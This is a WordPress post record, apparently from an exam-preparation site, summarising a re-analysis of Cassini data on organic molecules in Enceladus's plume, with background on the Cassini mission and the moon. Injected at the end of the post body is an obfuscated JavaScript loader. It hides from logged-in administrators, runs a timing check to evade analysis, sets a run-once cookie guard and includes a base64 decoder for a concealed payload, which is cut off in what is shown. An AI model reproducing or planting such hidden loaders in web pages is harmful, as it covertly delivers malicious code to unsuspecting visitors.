{"id":605,"date":"2023-12-19T06:50:56","date_gmt":"2023-12-19T06:50:56","guid":{"rendered":"https:\/\/iasquest.com\/?p=605"},"modified":"2026-02-11T19:25:47","modified_gmt":"2026-02-11T19:25:47","slug":"additional-organic-molecules-found-in-enceladuss-plume","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/additional-organic-molecules-found-in-enceladuss-plume\/","title":{"rendered":"Additional organic molecules found in Enceladus\u2019s plume"},"content":{"rendered":"\n<ul class=\"wp-block-list\">\n<li>Molecules including methanol, ethane, and oxygen are present in gaseous plumes emitted from Saturn\u2019s moon Enceladus, a re-analysis of data from the Cassini mission suggests.<\/li>\n\n\n\n<li>Analyses of data from Cassini\u2019s Ion and Neutral Mass Spectrometer (INMS) collected during flybys in 2011 and 2012 determined the presence of water, carbon dioxide, methane, ammonia, and molecular hydrogen in the samples.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>About Cassini mission<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Cassini was one of the most ambitious efforts ever mounted in planetary exploration. A joint endeavour of NASA, ESA (the European Space Agency), and the Italian space agency (ASI).<\/li>\n\n\n\n<li>Cassini was a sophisticated robotic spacecraft sent to study Saturn and its complex system of rings and moons in unprecedented detail.<\/li>\n\n\n\n<li>Cassini carried a probe called Huygens to the Saturn system.<\/li>\n\n\n\n<li>The probe, which was built by ESA, parachuted to the surface of Saturn\u2019s largest moon, Titan, in January 2005\u2014the most distant landing to date in our solar system.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Mission Science Objectives<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Saturn\u2014Study cloud properties and atmospheric composition, winds and temperatures, internal structure and rotation, ionosphere, origin, and evolution<\/li>\n\n\n\n<li>Rings\u2014Observe their structure and composition, dynamical processes, interrelation of rings and satellites, dust and micrometeoroid environment <\/li>\n\n\n\n<li>Titan\u2014Study abundances of atmospheric constituents, distribution of trace gases and aerosols, winds and temperatures, composition and state of the surface, and upper atmosphere<\/li>\n\n\n\n<li>Icy Satellites\u2014Determine their characteristics and geological histories; study mechanisms of surface modification, surface composition and distribution, overall composition and internal structure, and their interactions with Saturn\u2019s magnetosphere<\/li>\n\n\n\n<li>Saturn\u2019s Magnetosphere\u2014Study its structure and electric currents; composition, sources, and sinks of particles within it; dynamics; interaction with the solar wind, satellites, and rings; Titan\u2019s interaction with solar wind and magnetosphere.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Enceladus:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>It is the <strong>sixth-largest <\/strong>moon of Saturn (19th largest in the Solar System).<\/li>\n\n\n\n<li>It is about a tenth of that of <strong>Saturn\u2019s largest moon, Titan.<\/strong><\/li>\n\n\n\n<li>It is mostly covered by fresh, clean ice, making it one of the most reflective bodies of the Solar System.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var 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Enceladus:<\/p>\n","protected":false},"author":2,"featured_media":606,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center 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